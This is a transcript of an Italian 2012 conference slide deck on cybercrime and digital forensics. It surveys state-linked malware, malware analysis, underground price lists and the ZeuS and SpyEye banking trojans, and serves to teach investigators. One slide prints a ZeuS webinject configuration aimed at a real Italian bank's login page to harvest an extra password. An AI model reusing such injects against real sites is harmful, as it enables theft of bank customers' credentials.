crimini informatici 2012
TRANSCRIPT
![Page 1: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/1.jpg)
Crimini Informatici 2012Indagini Digitali in ambito Giudiziario e Forense
Terrorismo, spionaggio ed esercito di botnet. La cyberguerra è già in atto. Le sofisticate armi digitali, accuratamente progettate per colpire obiettivi specifici, rappresentano la minaccia più preoccupante che sia stata mai affrontata.
![Page 2: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/2.jpg)
Who is?
● Author: Gianni Amato● Site: www.securityside.it● Blog: www.gianniamato.it● Email: [email protected]● Twitter: @guelfoweb
IT Security and Forensics Consultant. Specialized in Cybercrime Intelligence for Internet Industry and Government Agencies.
![Page 3: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/3.jpg)
Cosa è il Cybercrime
● Un crimine come tutti gli altri, con l'aggiunta della componente informatica
● La componente informatica può essere il mezzo o l'obiettivo del crimine (o entrambi)
![Page 4: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/4.jpg)
Cominciamo dalla Cyberwar
![Page 5: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/5.jpg)
L'apocalisseCosa comporterebbe un ipotetico cyber attacco alle infrastrutture critiche
✔ Prenotazioni online di treni e aerei bloccate✔ Sistemi di controllo di linee aeree e treni in tilt✔ Le comunicazioni email interrotte✔ Caos nelle Pubbliche Amministrazioni✔ Raffinerie e Oleodotti fuori controllo✔ Acqua, gas, rete elettrica fuori uso
![Page 6: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/6.jpg)
Terrorismo?
● Si, è importante prestare attenzione a tutte le forme di terrorismo. In particolare al terrorismo psicologico.
![Page 7: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/7.jpg)
Impossibile che accada?
● No, la Cyberwar è già iniziata. Una guerra digitale tra nazioni notoriamente in contrasto.
– 2010: Stuxnet
– 2011: Duqu
– 2011: Gauss
– 2012: Mahdi
– 2012: Flame
– 2012: Wiper
– 2012: Shamoon
![Page 8: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/8.jpg)
Chi potrebbero essere gli artefici?
● Chiunque!– Dai servizi segreti ai gruppi di estremisti
– Dai militari ai terroristi
– Nazioni in contrasto da anni
![Page 9: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/9.jpg)
2010: Stuxnet
● Scoperto nel giugno 2010● Obiettivo: Sabotare il programma nucleare
Iraniano– Sistemi SCADA
● Windows + WinCC + PCS 7
● Progetto USA “Operation Olympic Games” iniziato da George W. Bush
– Si diffonde via USB
– Sfrutta vulnerabilità 0-day
![Page 10: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/10.jpg)
2010: Stuxnet
● La password dei sistemi SCADA (DB WinCC) era conosciuta da oltre 2 anni. Fu pubblicata in un forum e poi rimossa dal moderatore
● Gli autori erano in possesso di certificati digitali: Realtek e JMicron
● Verisign revoca i certificati il 16 luglio● Il 17 luglio viene rilevata una nuova versione
di Stuxnet con i certificati rubati a Jmicron
![Page 11: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/11.jpg)
2010: Stuxnet
● Il valore numerico '1979050' trovato nel registro di sistema delle macchine compromesse da Stuxnet è stato interpretato
come la possibile data di nascita di uno degli autori: 09/05/1979
● E' stato appurato che la data rilevata all'interno del codice di Stuxnet '24/6/12' coincide esattamente con la data del suo decesso
![Page 12: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/12.jpg)
2011: Duqu
● Scoperto nel settembre 2011● Condivide codice di Stuxnet (?)● Il target ancora una volta è l'Iran: valutare lo
stato del programma nucleare● Obiettivo diverso: furto di informazioni● Utilizza certificati rubati● Ha funzioni di keylogger● Sfrutta vulnerabilità 0-day (kernel Windows)
![Page 13: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/13.jpg)
2011: Gauss
● Scoperto nel settembre 2011● Rilevato in Libano, Israele, Palestina, Stati
Uniti e Emirati Arabi● Obiettivo: furto di password e conti bancari● Si ipotizza sia stato creato dagli stessi autori
di Stuxnet e Duqu
![Page 14: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/14.jpg)
2012: Mahdi
● Scoperto nel febbraio 2012● Il nome deriva da stringhe trovate nel codice
che fanno riferimento al Messia Islamico● Non si conoscono gli autori● Ha funzioni di keylogger e cattura schermate● Ruba file audio, file di testo e immagini● Sfrutta bug di Word e Power Point
![Page 15: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/15.jpg)
2012: Flame
● Scoperto nell'aprile 2012● Individuato da Kaspersky Lab in Iran (Iranian
Oil Minestry● CrySyS Lab sostiene che il malware potrebbe
essere online dal 2007● Si propaga tramite USB Key, nella rete locale
grazie ad una vulnerabilità di Windows nei sistemi con stampante condivisa
● Usa un falso certificato digitale
![Page 16: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/16.jpg)
2012: Flame
● Ha funzioni di keylogger● Cattura immagini● Registra l'audio (conversazioni via Skype)● Ruba documenti di testo e file DWG (Progetti
AutoCad)● Rilevate somiglianze con Stuxnet e Duqu ma
con un obiettivo diverso: spionaggio industriale
![Page 17: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/17.jpg)
2012: Flame risale al 2008?http://www.crysys.hu/skywiper/skywiper.pdf
● $ python peframe.py --export mssecmgr.ocx
● [IMAGE_EXPORT_DIRECTORY]
● 0x5F694 0x0 Characteristics: 0x0
● 0x5F698 0x4 TimeDateStamp: 0x493EA336 [Tue Dec 9 16:56:22 2008 UTC]
● 0x5F69C 0x8 MajorVersion: 0x0
● 0x5F69E 0xA MinorVersion: 0x0
● 0x5F6A0 0xC Name: 0x13C4EE
● 0x5F6A4 0x10 Base: 0x1
● 0x5F6A8 0x14 NumberOfFunctions: 0x5
● 0x5F6AC 0x18 NumberOfNames: 0x5
● 0x5F6B0 0x1C AddressOfFunctions: 0x13C4BC
● 0x5F6B4 0x20 AddressOfNames: 0x13C4D0
● 0x5F6B8 0x24 AddressOfNameOrdinals: 0x13C4E4
![Page 18: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/18.jpg)
2012: Wiper
● Un soldato inviato sul campo di battaglia per ripulire le tracce
● Ha lo scopo di cancellare tutte le tracce lasciate da Stuxnet e Duqu
● La priorità di rimuovere le informazioni è data ai file .PNF (usati da Stuxnet)
● Rimuove inoltre tutti dati utili ai tecnici forensi (non è un caso)
![Page 19: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/19.jpg)
2012: Shamoon
● Scoperto nel mese di agosto 2012● Shamoon è il nome trovato nel codice● Progettato per lo spionaggio● Ha preso di mira un ente petrolifero di Stato
Saudita● Cancella i dati del pc infetto sostituendoli con
delle immagini (una bandiera americana)● I file originali vengono verso un server
sconosciuto
![Page 20: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/20.jpg)
Perchè analizzare un Malware?
L'analisi è una procedura che va eseguita in laboratorio - quando è possibile - e consente di ricostruire la logica del malware per rispondere ai quattro quesiti che si presentano quando una macchina viene compromessa.
![Page 21: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/21.jpg)
I 4 Quesiti
● 1. Qual è lo scopo del malware? ● 2. Quali informazioni è riuscito a carpire? ● 3. Dove sono state trasmesse le informazioni? ● 4. Come ha fatto ad arrivare fin qui?
![Page 22: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/22.jpg)
Con cosa abbiamo a che fare?
● Persone altamente competenti● Codice è offuscato● Crittorgrafia (soprattutto durante la
trasmissione dei dati)● Funzioni di rootkit● Vulnerabilità 0-day
![Page 23: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/23.jpg)
Tipi di Analisi
● Analisi Statica– Codice
– Signature
– Evidence
● Analisi Dinamica– Comportamento
– Mutazioni
– Connessioni
![Page 24: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/24.jpg)
Remote Access Trojan
![Page 25: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/25.jpg)
Malware Anti-Analysis
● Anti Online-Analysis– ThreatExpert– CWSandbox– Anubis
● Anti Virtualizzation– VMware– Virtualbox– Virtual PC
● Anti Debug/Disass.– Softice– OllyDbg– IDA Pro
![Page 26: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/26.jpg)
Torniamo al Cybercrime
![Page 27: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/27.jpg)
Vulnerabilità Condivise
![Page 28: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/28.jpg)
Acquisti nell'Underground Russo
● Hacking a Gmail account: $162● Hacking a corporate mailbox: $500)● Scans of legitimate passports: $5 each● Winlocker ransomware: $10-20● Unintelligent exploit bundle: $25● Intelligent exploit bundle: $10-3,000● Traffic: $7-15 per 1,000 visitors for the most
valuable traffic (from the US and EU)
![Page 29: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/29.jpg)
Acquisti nell'Underground Russo
● Basic crypter (for inserting rogue code into a benign file): $10-30
● SOCKS bot (to get around firewalls): $100● Hiring a DDoS attack: $30-70 for a day,
$1,200 for a month● Email spam: $10 per one million e-mails● Expensive email spam (using a customer
database): $50-500 per one million e-mails
![Page 30: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/30.jpg)
Acquisti nell'Underground Russo
● SMS spam: $3-150 per 100-100,000 messages
● Bots for a botnet: $200 for 2,000 bots● DDoS botnet: $700● ZeuS source code: $200-$500● Windows rootkit (for installing malicious
drivers): $292● Hacking a Facebook or Twitter account: $130
![Page 31: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/31.jpg)
ZeuSUn progetto criminale (ora) Open Source
![Page 32: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/32.jpg)
ZeuS Info
● Online dal 2006● Scritto in Visual C++● Gli autori non amano chiamarlo Trojan,
Backdoor o Virus. Lo chiamano semplicemente “Bot”
● Prende di mira i sistemi MS Windows● Basato sulle intercettazioni delle WinAPI
![Page 33: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/33.jpg)
ZeuS Ring
● Ring3– Garantisce adattabilità e scalabilità
– Può operare in Guest User
![Page 34: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/34.jpg)
ZeuS Client Features
● Sniffer di traffico su protocollo TCP● Intercettazione di login FTP● Intercettazione di login POP3● Intercetta le chiamate alla libreria Wininet.dll
(usata da Internet Explorer) e nspr4.dll (usata da Firefox) per connessioni HTTP e HTTPS
● Encryption 1024-bit RSA
![Page 35: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/35.jpg)
ZeuS Server Features
● Usa Socks 4/4a/5 con supporto UDP e IPv6● Connessioni alla macchina infetta via FTP o
RDP● Screenshot in real time● Esecuzione comandi da remoto
![Page 36: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/36.jpg)
ZeuS HTTP-inject/HTTP-grabberwebinjects.txt
set_url https://privati.internetbanking.bancaintesa.it/sm/login/IN/box_login.jsp GP
data_beforename="PASSWORD"*<tr>
data_enddata_inject
<td height="32" class="grigio10">password dispositiva <br/><input name="PASSDIS" type="password" size="12" onkeypress="javascript:entsub('PASSWORD', event);" tabindex="2" style="width: 110px;"/></td><td><img alt="" src="/static/i/spaziatore.gif" width="10"/></td>
data_enddata_afterdata_end
![Page 37: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/37.jpg)
ZeuS HTTP-inject/HTTP-grabberBefore - After
![Page 38: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/38.jpg)
ZeuS Installation
✔Apache✔PHP✔MySql
![Page 39: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/39.jpg)
ZeuS Control Panel
![Page 40: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/40.jpg)
ZeuS Botnet
![Page 41: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/41.jpg)
Arriva la Concorrenza
La prima versione di SpyEye con opzione Kill ZeusNato per accaparrarsi una fetta del mercato di ZeuS
![Page 42: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/42.jpg)
SpyEye
● Presente dal 2009● Progettato dai Russi● Ha un costo di 500$ al mercato nero● Il business maggiore è basato sui plugin
![Page 43: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/43.jpg)
SpyEye + ZeuS
● Brute force password guessing● Jabber notification● VNC module● Auto-spreading● Auto-update● Screenshot system
![Page 44: Crimini Informatici 2012](https://reader033.vdocuments.site/reader033/viewer/2022060115/5575bd58d8b42a312a8b4760/html5/thumbnails/44.jpg)
Domande?